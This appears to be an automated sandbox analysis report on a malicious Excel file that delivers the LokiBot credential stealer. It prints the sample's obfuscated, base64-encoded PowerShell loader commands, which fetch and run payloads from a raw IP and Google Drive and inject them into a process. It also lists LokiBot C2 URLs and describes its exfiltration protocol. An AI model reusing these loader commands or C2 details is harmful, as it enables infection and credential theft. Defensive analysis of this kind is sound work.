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Windows
Analysis Report
SecuriteInfo.com.W97M.DownLoader.6515.29545.30613.xlsx
Overview
General Information
Detection
Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Lokibot
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected aPLib compressed binary
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches the installation path of Mozilla Firefox
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3596 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3868 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 4008 cmdline:
"C:\Window s\SysTeM32 \WInDOwsPO weRSheLL\V 1.0\PoWErS HEll.EXE" "powErShEl l -ex Bypa ss -N op -w 1 -c deVICECrE denTIaLDeP lOYMENT.ex e ; Iex($( iex('[sYSt Em.TexT.eN cODInG]'+[ chAr]58+[C haR]0x3A+' utF8.getsT RinG([syst EM.ConvERt ]'+[cHAr]5 8+[ChAr]58 +'FrombASE 64sTrInG(' +[ChaR]0x2 2+'JGI0bEg 4ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICA9ICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBhR EQtVFlQZSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU1lbWJFc mRlZklOSVR Jb24gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICdbR GxsSW1wb3J 0KCJ1ckxtT 24uRGxMIiw gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIENoYXJTZ XQgPSBDaGF yU2V0LlVua WNvZGUpXXB 1YmxpYyBzd GF0aWMgZXh 0ZXJuIElud FB0ciBVUkx Eb3dubG9hZ FRvRmlsZSh JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI HpsR2dqcHB FLHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgRFlCbFc sc3RyaW5nI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBwSXlHVnU sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAga yxJbnRQdHI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIE9JVGloS lJ5WSk7JyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU5BTWUgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CJTIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 BTUVTUEFjR SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgWXdvQmN HT2duaSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL VBhc3NUaHJ 1OyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgJGI0b Eg4OjpVUkx Eb3dubG9hZ FRvRmlsZSg wLCJodHRwO i8vMTkyLjM uMTc2LjE0M S8zNS9lZHV jYXRpb25hb HRoaW5nc3d pdGhncmVhd GF0dGl0dWR lb25oZXJlL nRJRiIsIiR FTnY6QVBQR EFUQVxlZHV jYXRpb25hb HRoaW5nc3d pdGhncmVhd GF0dGl0dWR lb25oZXJlL nZiUyIsMCw wKTtzdGFSV C1zbEVlUCg zKTtzVGFSV CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIiRFblY 6QVBQREFUQ VxlZHVjYXR pb25hbHRoa W5nc3dpdGh ncmVhdGF0d Gl0dWRlb25 oZXJlLnZiU yI='+[CHAR ]0X22+'))' )))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3116 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -ex Bypass -Nop -w 1 -c deVICE CrEdenTIaL DePlOYMENT .exe MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3328 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\mgcx3o u4\mgcx3ou 4.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3352 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESB606.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\mgc x3ou4\CSCC 6F130116CC E49C39BB61 052DD4B9AF .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3028 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\educa tionalthin gswithgrea tattitudeo nhere.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3036 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiAoICRFTn Y6Q29tU3Bl Q1s0LDE1LD I1XS1Kb0lu JycpKCAoJz BRYWltYWdl VXJsID0gZj dWaHQnKyd0 cHM6Ly8nKy dkcml2ZS5n b29nbGUuY2 9tL3VjP2V4 cG9ydD1kb3 dubG9hZCZp ZD0xQUlWZ0 pKSnYxRjZ2 UzRzVU95Ym 5ILXNEdlVo Qll3dScrJ3 IgZjdWOzBR YXdlYkNsaW VudCA9IE5l dy1PYmplY3 QgU3lzdGVt Lk5ldC5XZW JDbGllbnQ7 MFFhaW1hZ2 VCeXRlcyA9 IDBRYXdlYk NsaWVudC5E b3dubG9hZE RhdGEoMFFh aW1hZ2VVcm wnKycpOycr JzBRYWltYW dlVGV4dCA9 IFtTeXN0ZW 0uVGV4dC5F bmNvZGluZ1 06OlVURjgu R2V0U3RyaW 5nKDBRYWlt YWdlQnl0ZX MpOzBRYXN0 YXJ0RmxhZy A9IGY3Vjw8 QkFTRTY0X1 NUQVJUPj5m N1Y7MFFhZW 5kRmxhZyA9 IGY3Vjw8Qk FTRTY0X0VO RD4+ZjdWOy crJzBRYXN0 YXJ0SW5kZX ggPSAwUWFp bWFnJysnZV RleHQuSW5k ZXhPZigwUW FzdGFyJysn dEZsYWcpOz BRYWVuZElu ZGV4ID0nKy cgMFFhaW1h Z2VUZXh0Lk luZGV4T2Yo MFFhZW5kRm xhZyk7MFFh c3RhcnRJbm RleCAtZ2Ug MCAtJysnYW 5kIDBRYWVu ZEluZGV4IC 1ndCAwUWFz dGFydEluZG V4OzBRYXN0 YXJ0SW5kZX ggKz0gMFFh c3RhcnRGbG FnLkxlbmd0 aDswUWFiJy snYXNlNjRM ZW5ndGggJy snPSAwUWFl bmRJbmRleC AtIDBRYXN0 YXJ0SW5kZX g7MCcrJ1Fh YmFzZTY0Q2 9tbWFuZCA9 IDBRYWltYW dlVGV4dC5T dWJzdHJpbm coMFFhc3Rh cnRJbmRleC wgMFFhYmFz ZScrJzY0TG VuZ3RoKTsw UWFiYXNlNj RSZXZlcnNl JysnZCA9IC 1qb2luICgw UWFiYXNlNj RDb21tYW5k LlRvQ2hhck FycmF5KCkg WWJJIEZvck VhY2gtT2Jq ZWN0IHsgMF FhXyB9KVst MS4uLSgwUW FiYXNlNjRD b21tYScrJ2 5kLkxlbmd0 aCldOzBRYW NvbW1hbmRC eXRlcyA9IF tTeXN0ZW0u Q29udmVydF 06OkZyb21C YXNlNjRTdH JpbmcoMFFh YmFzZTY0Um V2ZXJzZWQp OzBRYWxvYW RlZEFzJysn c2VtYmx5ID 0gW1N5c3Rl bS5SZWZsZW N0aW9uLkFz c2VtYmx5XT o6JysnTG9h ZCgwUWFjb2 1tYW5kQnl0 ZXMpOzBRYX ZhaU1ldGhv ZCA9IFtkbm xpYi5JTy5I b21lXS5HZX RNZXRob2Qo ZjdWVkFJZj dWKTswUWF2 YWlNZXRob2 QuSW52b2tl KDBRYW51bG wsIEAoZjdW dHh0LlJSRV BMTVMvNTMv MTQxLjY3MS 4zLjI5MS8v OnB0dGhmN1 YsIGY3VmRl c2F0aXZhZG 9mN1YsIGY3 VmRlc2F0aX ZhZG9mN1Ys IGY3VmRlc2 F0aXZhZG9m N1YsIGYnKy c3VkFkZElu UHJvY2Vzcz MyZjdWLCBm N1ZkZXNhdC crJ2l2YWRv ZjdWLCBmN1 ZkZXMnKydh dGl2YWRvZj dWLGY3VmRl c2F0aXZhZG 9mN1YsJysn ZjdWZGVzYX RpdmFkb2Y3 VixmN1ZkZX NhdGknKyd2 YWRvZjdWJy snLGY3VmRl c2F0JysnaX ZhZG9mN1Ys ZjdWZGVzYX RpdmFkb2Y3 VixmN1YxZj dWLGY3VmRl c2F0aXZhZG 9mN1YpKTsn KS5SZXBsQU NFKChbY2hB cl04OStbY2 hBcl05OCtb Y2hBcl03My ksJ3wnKS5S ZXBsQUNFKC dmN1YnLFtT dHJJTkddW2 NoQXJdMzkp LlJlcGxBQ0 UoKFtjaEFy XTQ4K1tjaE FyXTgxK1tj aEFyXTk3KS wnJCcpICk= ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 1224 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ". ( $ ENv:ComSpe C[4,15,25] -JoIn'')( ('0Qaimage Url = f7Vh t'+'tps:// '+'drive.g oogle.com/ uc?export= download&i d=1AIVgJJJ v1F6vS4sUO ybnH-sDvUh BYwu'+'r f 7V;0QawebC lient = Ne w-Object S ystem.Net. WebClient; 0QaimageBy tes = 0Qaw ebClient.D ownloadDat a(0Qaimage Url'+');'+ '0QaimageT ext = [Sys tem.Text.E ncoding]:: UTF8.GetSt ring(0Qaim ageBytes); 0QastartFl ag = f7V<< BASE64_STA RT>>f7V;0Q aendFlag = f7V<<BASE 64_END>>f7 V;'+'0Qast artIndex = 0Qaimag'+ 'eText.Ind exOf(0Qast ar'+'tFlag );0QaendIn dex ='+' 0 QaimageTex t.IndexOf( 0QaendFlag );0Qastart Index -ge 0 -'+'and 0QaendInde x -gt 0Qas tartIndex; 0QastartIn dex += 0Qa startFlag. Length;0Qa b'+'ase64L ength '+'= 0QaendInd ex - 0Qast artIndex;0 '+'Qabase6 4Command = 0QaimageT ext.Substr ing(0Qasta rtIndex, 0 Qabase'+'6 4Length);0 Qabase64Re verse'+'d = -join (0 Qabase64Co mmand.ToCh arArray() YbI ForEac h-Object { 0Qa_ })[- 1..-(0Qaba se64Comma' +'nd.Lengt h)];0Qacom mandBytes = [System. Convert]:: FromBase64 String(0Qa base64Reve rsed);0Qal oadedAs'+' sembly = [ System.Ref lection.As sembly]::' +'Load(0Qa commandByt es);0Qavai Method = [ dnlib.IO.H ome].GetMe thod(f7VVA If7V);0Qav aiMethod.I nvoke(0Qan ull, @(f7V txt.RREPLM S/53/141.6 71.3.291// :ptthf7V, f7Vdesativ adof7V, f7 Vdesativad of7V, f7Vd esativadof 7V, f'+'7V AddInProce ss32f7V, f 7Vdesat'+' ivadof7V, f7Vdes'+'a tivadof7V, f7Vdesativ adof7V,'+' f7Vdesativ adof7V,f7V desati'+'v adof7V'+', f7Vdesat'+ 'ivadof7V, f7Vdesativ adof7V,f7V 1f7V,f7Vde sativadof7 V));').Rep lACE(([chA r]89+[chAr ]98+[chAr] 73),'|').R eplACE('f7 V',[StrING ][chAr]39) .ReplACE(( [chAr]48+[ chAr]81+[c hAr]97),'$ ') )" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - AddInProcess32.exe (PID: 1488 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "\u00c6\u00cb\u00d1\u00ce\u00ca\u00c9\u00d1\u00ce\u00c8\u00c8\u00d1\u00cd\u00cd\u00cf\u00d0\u008c\u0096\u0092\u008f\u0093\u009a\u00d0\u0099\u0096\u0089\u009a\u00d0\u0099\u008d\u009a\u00d1\u008f\u0097\u008f"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot | Yara detected Lokibot | Joe Security | ||
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Click to see the 11 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot | Yara detected Lokibot | Joe Security | ||
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Click to see the 11 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |